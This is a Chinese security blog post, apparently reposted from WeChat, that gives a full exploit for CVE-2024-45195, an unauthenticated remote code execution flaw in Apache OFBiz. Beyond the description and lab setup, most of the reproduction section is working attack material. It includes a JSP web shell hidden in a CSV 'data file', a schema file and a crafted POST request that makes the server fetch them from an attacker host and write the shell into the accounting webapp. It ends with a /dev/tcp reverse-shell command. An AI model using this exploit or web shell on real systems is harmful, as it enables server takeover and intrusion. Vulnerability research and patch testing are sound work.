CVE-2024-45195 RCE漏洞(附EXP)

admin 2024年9月12日00:08:32评论119 views字数 2701阅读9分0秒阅读模式

文章来源:沃克学安全

申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。

一、漏洞描述

Apache OFBiz < 18.12.16版本中未经身份认证的远程攻击者可通过控制请求从而写入恶意文件获取服务器权限,造成远程代码执行

二、漏洞原理

该漏洞本质上还是ofbiz的路由与鉴权问题,是由于之前漏洞(CVE-2024-32113、CVE-2024-36104和CVE-2024-38856)未完全修复所导致。在Apache OFBiz版本18.12.16之前,开发人员对这些先前的问题进行了修复,但控制器与视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。

漏洞细节已在互联网公开,详情请看:

https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/

三、漏洞复现

1.环境搭建

下载OFBiz 18.12.15版本:

wget https://dlcdn.apache.org/ofbiz/apache-ofbiz-18.12.15.zip

安装(需要JDK8+):

unzip apache-ofbiz-18.12.15.zipcd apache-ofbiz-18.12.15./gradle/init-gradle-wrapper.sh./gradlew cleanAll loadAll  //需要等一段时间,我等了十多分钟./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=adminvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.6./gradlew ofbiz

然后访问https://yourip:8443/accounting即可

CVE-2024-45195 RCE漏洞(附EXP)

2.漏洞复现

该漏洞利用需要目标机器能够出网,尚未可知有没有不出网的玩法

在攻击机器开一个web服务,服务下放置两个文件:

rceschema.xml:

    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">            <record name="rceentry" limit="many">                <field name="jsp" type="String" length="607" position="0"></field>            </record>        </data-file>    </data-files>

rcereport.csv:

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Hello!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/bash"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

然后发送如下请求包:

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1Host: yourip:8443User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0Accept: */*Content-Length: 241Content-Type: application/x-www-form-urlencodedDATAFILE_LOCATION=http://vpsip:port/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://vpsip:port/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
CVE-2024-45195 RCE漏洞(附EXP)

可以看到目标机器向我们的攻击机器发起请求:

CVE-2024-45195 RCE漏洞(附EXP)

访问/accounting/index.jsp?cmd=whoami

CVE-2024-45195 RCE漏洞(附EXP)

反弹shell:

/accounting/index.jsp?cmd=bash+-i+>%26+%2Fdev%2Ftcp%2Fip%2Fport+0>%261

CVE-2024-45195 RCE漏洞(附EXP)

参考:

https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/

CVE-2024-45195 RCE漏洞(附EXP)

原文始发于微信公众号(渗透Xiao白帽):CVE-2024-45195 RCE漏洞(附EXP)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月12日00:08:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-45195 RCE漏洞(附EXP)https://cn-sec.com/archives/3153360.html

发表评论

匿名网友 填写信息